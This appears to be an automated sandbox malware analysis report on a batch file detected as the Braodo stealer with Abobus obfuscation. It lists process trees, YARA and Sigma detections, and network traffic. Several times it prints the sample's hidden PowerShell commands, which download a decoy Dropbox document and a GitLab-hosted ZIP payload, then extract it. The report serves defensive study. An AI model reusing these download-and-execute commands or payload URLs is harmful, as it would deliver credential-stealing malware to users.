Edit tour

Windows Analysis Report
kjhsdg.bat

Overview

General Information

Sample name:	kjhsdg.bat
Analysis ID:	1570140
MD5:	82c229ce3d3387ad19c8d4eda2bc8758
SHA1:	8487e9a033c6028c94c4852c07eed3fc2afea9d0
SHA256:	a90819b2e27a5d5aa75c19972652ff0ae53f19526187129c125521c49675d824
Tags:	batBraodouser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator, Braodo

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Abobus Obfuscator

Yara detected Braodo

Yara detected Powershell download and execute

AI detected suspicious sample

Powershell drops PE file

Sigma detected: PowerShell DownloadFile

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 4956 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6456 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 6664 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

find.exe (PID: 2076 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

find.exe (PID: 3180 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

findstr.exe (PID: 3440 cmdline: findstr /L /I set "C:\Users\user\Desktop\kjhsdg.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 5692 cmdline: findstr /L /I goto "C:\Users\user\Desktop\kjhsdg.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 2836 cmdline: findstr /L /I echo "C:\Users\user\Desktop\kjhsdg.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 3964 cmdline: findstr /L /I pause "C:\Users\user\Desktop\kjhsdg.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 6004 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 1436 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3176 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4980 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1848 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
kjhsdg.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Document\DLLs\ld_312.pd	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: powershell.exe PID: 1436	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4980	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
Process Memory Space: powershell.exe PID: 4980	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1848	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security

Other

Source	Rule	Description	Author
amsi64_1436.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_4980.amsi.csv	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
amsi64_4980.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", ProcessId: 1436, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", ProcessId: 1436, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4980, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1848, TargetFilename: C:\Users\Public\Document\python.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", ProcessId: 1436, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", ProcessId: 1436, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')", ProcessId: 1436, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.7% probability

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\LICENSE.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49705 version: TLS 1.2

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: python312.dll.17.dr
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbtD? source: powershell.exe, 0000000C.00000002.2130649300.000002717145F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: libssl-3.dll.17.dr
Source:	Binary string: n.pdb source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdb source: powershell.exe, 0000000C.00000002.2128964930.000002716F4CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: - bpo-20523: ``pdb.Pdb`` supports ~/.pdbrc in Windows 7. Patch by Tim Hopper source: NEWS.txt.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2130649300.000002717143E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: sqlite3.dll.17.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: breakpoints in :class:`~pdb.Pdb` that raise :exc:`SyntaxError`. Patch by source: NEWS.txt.17.dr
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: display in :class:`~pdb.Pdb` that raise :exc:`SyntaxError`. Patch by Tian source: NEWS.txt.17.dr
Source:	Binary string: - bpo-41137: Use utf-8 encoding while reading .pdbrc files. Patch by source: NEWS.txt.17.dr
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe.17.dr
Source:	Binary string: :exc:`AttributeError` if it is called after :meth:`~pdb.Pdb.reset`. source: NEWS.txt.17.dr
Source:	Binary string: - bpo-28528: Fix a bug in :mod:`pdb` where :meth:`~pdb.Pdb.checkline` raises source: NEWS.txt.17.dr
Source:	Binary string: System.pdbMAC Layer LightWeight Filte source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbb< source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb D source: powershell.exe, 0000000C.00000002.2130649300.000002717145F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pythonw.pdb source: pythonw.exe.17.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: whether .pdbrc files should be read. Patch by Martin Matusiak and Sam source: NEWS.txt.17.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: libssl-3.dll.17.dr

Source: global traffic	HTTP traffic detected: GET /scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; media-src https://* blob: ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: api-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; media-src https://* blob: ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; media-src https://* blob: ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com 